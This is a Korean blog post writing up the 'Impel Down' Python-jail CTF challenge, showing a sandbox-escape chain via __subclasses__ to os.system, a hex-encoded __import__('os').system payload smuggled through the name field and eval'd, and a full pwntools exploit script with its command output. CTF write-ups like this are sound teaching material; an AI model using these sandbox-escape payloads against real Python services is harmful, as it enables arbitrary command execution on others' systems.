풀이 시작한 김에 몇개 더 풀어봤다. 다음 문제는 impel down 이다.




Impel Down





 접속해보면 pyjail 이라는 문구와 escape 를 통해 python 이며 악의적인 입력값으로 python code 를 실행하라는 것을 알 수 있다.




name : test
========
[day-1]
################## Work List ##################

  coworker : Find Coworker For Escape
  tool : Find Any Tool
  dig : Go Deep~
  bomb : make boooooooomb!!!
##############################################

tool
test : ~~~~




 먼저 이름을 입력받고, 다음으로 작업을 입력받아서 실행시켜준다. 작업란에 특수문자, 괄호 등을 넣어보이 파이썬 쉘 에러를 확인할 수 있었다. 이걸로 확실히 python code execution 문제라는 것을 알 수 있다.

예전에 보았던 비슷한 문제가 있어서 그떄의 기억을 소환해 우선 로컬엣 테스트 해 보았다. import os 없이 명령어를 실행시킬 수 있는 방법이 몇가지 있는데, 아래는 그 중 한가지이다.



>>> ().__class__.__base__.__subclasses__()[-17].__repr__.im_func.func_globals['linecache'].os.system('id')

uid=501(hyunmini) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)



 하지만 이 문제에서는 길이값 제한 및 '_' 제한 떄문에 안됨. 테스트 결과 약 40여 글자가 넘어가면 에러가 발생함.

삽질하다가 결국 찾은 방법은 name 부분에다가 공격 문자열 넣어놓고 아래와 같이 불러오는 것.



name = "__import__('os').system('ls -al')".encode('hex')


dig(), eval(your.name),






아래는 전체 exploit 코드이다. 

# impel_down_ex.py from pwn import * import pickle import os r = remote('localhost',9999) print r.recvuntil('Name : ') #name = "().__class__.__base__.__subclasses__()[-17].__repr__.im_func.func_globals['linecache'].os.system('id')".encode('hex') name = "__import__('os').system('ls -al')".encode('hex') r.sendline(name) print r.recvuntil('#\n') print r.recvuntil('#\n') cmd="dig(),eval(your.name.decode('hex'))," print cmd r.sendline(cmd) print r.recv(500) print r.recv(500) =======

실행결과

======

################## Work List ##################

  coworker : Find Coworker For Escape
  tool : Find Any Tool
  dig : Go Deep~
  bomb : make boooooooomb!!!
###############################################

dig(),eval(your.name.decode('hex')),
 5f5f696d706f72745f5f28276f7327292e73797374656d28276c73202d616c2729 : [Dig] depth = 1

total 16
drwxr-xr-x 2 root root 4096 Feb 5 22:30 .
drwxr-xr-x 4 root root 4096 Feb 5 22:30 ..
-rw-r--r-- 1 root root 3889 Feb 5 22:24 Impel_Down.py
-rw-r--r-- 1 root root 121 Feb 5 22:30 run.sh



풀이한 시점에는 서버가 닫혀서 플래그는 없으나 cat /flag 등으로 플래그 확인이 가능했다고 한다. 


'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28
Codegate 2014 pwn 250 Writeup + pwntools 연습  (0) 2016.12.16

+ Recent posts